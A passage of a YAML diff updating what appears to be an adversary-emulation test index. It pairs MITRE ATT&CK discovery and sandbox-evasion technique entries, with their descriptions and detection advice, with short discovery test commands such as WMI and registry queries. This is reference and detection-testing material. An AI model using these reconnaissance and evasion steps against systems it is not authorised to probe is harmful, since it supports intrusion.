-        could include auxiliary resources that support a variety of functionalities
-        such as keyboards, printers, cameras, smart card readers, or removable storage.
-        The information may be used to enhance their awareness of the system and network
-        environment or may be used for further actions.
+      modified: '2020-03-26T17:42:03.337Z'
       name: Peripheral Device Discovery
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Process: OS API Execution'
       x_mitre_version: '1.2'
-      x_mitre_detection: |-
-        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
-
-        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
+      created: '2017-05-31T21:31:28.471Z'
       x_mitre_permissions_required:
       - User
       - Administrator
@@ -58028,11 +59689,31 @@ discovery:
       x_mitre_platforms:
       - Windows
       - macOS
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Process: OS API Execution'
       x_mitre_is_subtechnique: false
+      id: attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643
+      description: Adversaries may attempt to gather information about attached peripheral
+        devices and components connected to a computer system. Peripheral devices
+        could include auxiliary resources that support a variety of functionalities
+        such as keyboards, printers, cameras, smart card readers, or removable storage.
+        The information may be used to enhance their awareness of the system and network
+        environment or may be used for further actions.
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      x_mitre_detection: |-
+        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
+
+        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1120
+        external_id: T1120
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/646.html
+        external_id: CAPEC-646
+        source_name: capec
       identifier: T1120
     atomic_tests:
     - name: Win32_PnPEntity Hardware Inventory
@@ -58049,31 +59730,24 @@ discovery:
         name: powershell
   T1069:
     technique:
-      id: attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Permission Groups Discovery
-      description: Adversaries may attempt to find group and permission settings.
-        This information can help adversaries determine which user accounts and groups
-        are available, the membership of users in particular groups, and which users
-        and groups have elevated permissions.
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1069
-        url: https://attack.mitre.org/techniques/T1069
-      - external_id: CAPEC-576
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/576.html
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Permission Groups Discovery
+      x_mitre_data_sources:
+      - 'Pod: Pod Metadata'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Group: Group Enumeration'
+      - 'Group: Group Metadata'
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '2.4'
+      modified: '2021-10-15T18:10:53.423Z'
+      created: '2017-05-31T21:30:55.471Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: discovery
-      modified: '2021-03-30T12:29:56.512Z'
-      created: '2017-05-31T21:30:55.471Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_contributors:
-      - Microsoft Threat Intelligence Center (MSTIC)
+      id: attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce
       x_mitre_platforms:
       - Windows
       - Azure AD
@@ -58083,64 +59757,79 @@ discovery:
       - Linux
       - macOS
       - Google Workspace
+      - Containers
+      x_mitre_is_subtechnique: false
       x_mitre_permissions_required:
       - User
+      description: Adversaries may attempt to find group and permission settings.
+        This information can help adversaries determine which user accounts and groups
+        are available, the membership of users in particular groups, and which users
+        and groups have elevated permissions.
+      x_mitre_contributors:
+      - Daniel Prizmant, Palo Alto Networks
+      - Yuval Avrahami, Palo Alto Networks
+      - Microsoft Threat Intelligence Center (MSTIC)
       x_mitre_detection: |-
         System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
 
-        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Group: Group Enumeration'
-      - 'Group: Group Metadata'
-      - 'Application Log: Application Log Content'
-      x_mitre_version: '2.3'
+        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as <code>kubectl auth can-i</code>.(Citation: K8s Authorization Overview)
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1069
+        external_id: T1069
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/576.html
+        external_id: CAPEC-576
+        source_name: capec
+      - url: https://kubernetes.io/docs/reference/access-authn-authz/authorization/
+        description: Kubernetes. (n.d.). Authorization Overview. Retrieved June 24,
+          2021.
+        source_name: K8s Authorization Overview
     atomic_tests: []
   T1057:
     technique:
-      id: attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Process Discovery
-      description: |-
-        Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
-
-        In Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or <code>Get-Process</code> via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as <code>CreateToolhelp32Snapshot</code>. In Mac and Linux, this is accomplished with the <code>ps</code> command. Adversaries may also opt to enumerate processes via /proc.
-      external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1057
-        external_id: T1057
-      - external_id: CAPEC-573
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/573.html
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      modified: '2020-03-26T18:05:53.130Z'
-      created: '2017-05-31T21:30:48.728Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_system_requirements:
-      - Administrator, SYSTEM may provide better process ownership details
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - SYSTEM
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_detection: |-
-        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
-
-        Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
+      name: Process Discovery
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1057
+        external_id: T1057
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/573.html
+        external_id: CAPEC-573
+        source_name: capec
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
       - 'Process: OS API Execution'
       x_mitre_version: '1.2'
+      modified: '2020-03-26T18:05:53.130Z'
+      x_mitre_system_requirements:
+      - Administrator, SYSTEM may provide better process ownership details
+      id: attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - SYSTEM
+      description: |-
+        Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
+
+        In Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or <code>Get-Process</code> via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as <code>CreateToolhelp32Snapshot</code>. In Mac and Linux, this is accomplished with the <code>ps</code> command. Adversaries may also opt to enumerate processes via /proc.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      x_mitre_detection: |-
+        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
+
+        Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
+      created: '2017-05-31T21:30:48.728Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1057
     atomic_tests:
     - name: Process Discovery - ps
@@ -58215,48 +59904,48 @@ discovery:
         name: command_prompt
   T1012:
     technique:
-      id: attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Query Registry
-      description: |-
-        Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
-
-        The Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1012
-        url: https://attack.mitre.org/techniques/T1012
-      - external_id: CAPEC-647
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/647.html
-      - url: https://en.wikipedia.org/wiki/Windows_Registry
-        description: Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015.
-        source_name: Wikipedia Windows Registry
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      modified: '2020-03-26T18:08:20.049Z'
-      created: '2017-05-31T21:30:25.584Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - SYSTEM
+      name: Query Registry
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
       - 'Windows Registry: Windows Registry Key Access'
       - 'Process: OS API Execution'
+      x_mitre_version: '1.2'
+      modified: '2020-03-26T18:08:20.049Z'
+      created: '2017-05-31T21:30:25.584Z'
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - SYSTEM
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896
+      description: |-
+        Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
+
+        The Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
       x_mitre_detection: |-
         System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
 
         Interaction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
-      x_mitre_version: '1.2'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1012
+        external_id: T1012
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/647.html
+        external_id: CAPEC-647
+        source_name: capec
+      - source_name: Wikipedia Windows Registry
+        description: Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015.
+        url: https://en.wikipedia.org/wiki/Windows_Registry
       identifier: T1012
     atomic_tests:
     - name: Query Registry
@@ -58298,17 +59987,29 @@ discovery:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1018
-        url: https://attack.mitre.org/techniques/T1018
-      - external_id: CAPEC-292
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/292.html
-      - source_name: Elastic - Koadiac Detection with EQL
-        url: https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql
-        description: 'Stepanic, D.. (2020, January 13). Embracing offensive tooling:
-          Building detections against Koadic using EQL. Retrieved November 30, 2020.'
+      type: attack-pattern
+      name: Remote System Discovery
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Network Traffic: Network Connection Creation'
+      - 'File: File Access'
+      x_mitre_version: '3.2'
+      modified: '2021-10-15T15:30:00.172Z'
+      created: '2017-05-31T21:30:28.187Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      id: attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - SYSTEM
       description: "Adversaries may attempt to get a listing of other systems by IP
         address, hostname, or other logical identifier on a network that may be used
         for Lateral Movement from the current system. Functionality could exist within
@@ -58317,42 +60018,28 @@ discovery:
         or <code>net view</code> using [Net](https://attack.mitre.org/software/S0039).
         Adversaries may also use local host files (ex: <code>C:\\Windows\\System32\\Drivers\\etc\\hosts</code>
         or <code>/etc/hosts</code>) in order to discover the hostname to IP address
-        mappings of remote systems. \n\nSpecific to macOS, the <code>bonjour</code>
-        protocol exists to discover additional Mac-based systems within the same broadcast
-        domain."
-      name: Remote System Discovery
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      modified: '2021-04-13T21:40:23.368Z'
-      created: '2017-05-31T21:30:28.187Z'
-      x_mitre_version: '3.1'
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Network Traffic: Network Connection Creation'
-      - 'File: File Access'
+        mappings of remote systems. \n"
+      x_mitre_contributors:
+      - Daniel Stepanic, Elastic
+      - RedHuntLabs, @redhuntlabs
       x_mitre_detection: |-
         System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
 
         Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
 
         Monitor for processes that can be used to discover remote systems, such as <code>ping.exe</code> and <code>tracert.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - SYSTEM
-      x_mitre_contributors:
-      - Daniel Stepanic, Elastic
-      - RedHuntLabs, @redhuntlabs
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1018
+        external_id: T1018
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/292.html
+        external_id: CAPEC-292
+        source_name: capec
+      - url: https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql
+        description: 'Stepanic, D.. (2020, January 13). Embracing offensive tooling:
+          Building detections against Koadic using EQL. Retrieved November 30, 2020.'
+        source_name: Elastic - Koadiac Detection with EQL
       identifier: T1018
     atomic_tests:
     - name: Remote System Discovery - net
@@ -58754,34 +60441,21 @@ discovery:
         command: get-wmiobject -class ds_computer -namespace root\directory\ldap
   T1518.001:
     technique:
-      id: attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384
-      description: |-
-        Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
-
-        Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.
-
-        Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS)
-      name: Security Software Discovery
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1518.001
-        url: https://attack.mitre.org/techniques/T1518/001
-      - external_id: CAPEC-581
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/581.html
-      - source_name: Expel IO Evil in AWS
-        url: https://expel.io/blog/finding-evil-in-aws/
-        description: A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding
-          Evil in AWS. Retrieved June 25, 2020.
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
+      name: Security Software Discovery
+      x_mitre_data_sources:
+      - 'Firewall: Firewall Metadata'
+      - 'Firewall: Firewall Enumeration'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Process: OS API Execution'
+      x_mitre_version: '1.2'
       modified: '2021-03-29T16:05:00.198Z'
       created: '2020-02-21T21:16:18.066Z'
+      x_mitre_permissions_required:
+      - User
       x_mitre_platforms:
       - Windows
       - Azure AD
@@ -58792,21 +60466,34 @@ discovery:
       - macOS
       - Google Workspace
       x_mitre_is_subtechnique: true
-      x_mitre_version: '1.2'
+      id: attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384
+      description: |-
+        Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
+
+        Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.
+
+        Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
       x_mitre_detection: |-
         System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.
 
         Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
 
         In cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.
-      x_mitre_permissions_required:
-      - User
-      x_mitre_data_sources:
-      - 'Firewall: Firewall Metadata'
-      - 'Firewall: Firewall Enumeration'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Process: OS API Execution'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1518/001
+        external_id: T1518.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/581.html
+        external_id: CAPEC-581
+        source_name: capec
+      - url: https://expel.io/blog/finding-evil-in-aws/
+        description: A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding
+          Evil in AWS. Retrieved June 25, 2020.
+        source_name: Expel IO Evil in AWS
       identifier: T1518.001
     atomic_tests:
     - name: Security Software Discovery
@@ -58895,43 +60582,20 @@ discovery:
         elevation_required: true
   T1518:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1518
-        url: https://attack.mitre.org/techniques/T1518
-      - external_id: CAPEC-580
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/580.html
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Software Discovery
-      description: |-
-        Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
-
-        Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).
-      id: attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
       modified: '2021-03-29T16:05:00.456Z'
-      created: '2019-09-16T17:52:44.147Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.3'
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_detection: |-
-        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.
-
-        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
+      name: Software Discovery
       x_mitre_data_sources:
       - 'Firewall: Firewall Metadata'
       - 'Firewall: Firewall Enumeration'
       - 'Process: Process Creation'
       - 'Command: Command Execution'
       - 'Process: OS API Execution'
+      x_mitre_version: '1.3'
+      created: '2019-09-16T17:52:44.147Z'
+      x_mitre_permissions_required:
+      - User
+      - Administrator
       x_mitre_platforms:
       - Windows
       - Azure AD
@@ -58941,6 +60605,29 @@ discovery:
       - Linux
       - macOS
       - Google Workspace
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58
+      description: |-
+        Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
+
+        Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      x_mitre_detection: |-
+        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.
+
+        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1518
+        external_id: T1518
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/580.html
+        external_id: CAPEC-580
+        source_name: capec
       identifier: T1518
     atomic_tests:
     - name: Find and Display Internet Explorer Browser Version
@@ -58985,6 +60672,30 @@ discovery:
           /usr/libexec/PlistBuddy -c "print :CFBundleVersion" /Applications/Safari.app/Contents/Info.plist
   T1497.001:
     technique:
+      type: attack-pattern
+      modified: '2021-10-18T14:57:07.973Z'
+      name: System Checks
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Process: OS API Execution'
+      x_mitre_version: '2.1'
+      created: '2020-03-06T20:57:37.959Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      x_mitre_defense_bypassed:
+      - Static File Analysis
+      - Signature-based detection
+      - Host forensic analysis
+      - Anti-virus
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--29be378d-262d-4e99-b00d-852d573628e6
       description: "Adversaries may employ various system checks to detect and avoid
         virtualization and analysis environments. This may include changing behaviors
@@ -58994,9 +60705,9 @@ discovery:
         the core functions of the implant. They may also search for VME artifacts
         before dropping secondary or additional payloads. Adversaries may use the
         information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)
-        during automated discovery to shape follow-on behaviors. \n\nSpecific checks
-        will vary based on the target and/or adversary, but may involve behaviors
-        such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047),
+        during automated discovery to shape follow-on behaviors.(Citation: Deloitte
+        Environment Awareness)\n\nSpecific checks will vary based on the target and/or
+        adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047),
         [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information
         Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012)
         to obtain system information and search for VME artifacts. Adversaries may
@@ -59015,41 +60726,10 @@ discovery:
         temperature, and audio devices, could also be used to gather evidence that
         can be indicative a virtual environment. Adversaries may also query for specific
         readings from these devices.(Citation: Unit 42 OilRig Sept 2018)"
-      name: System Checks
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1497.001
-        url: https://attack.mitre.org/techniques/T1497/001
-      - source_name: McAfee Virtual Jan 2017
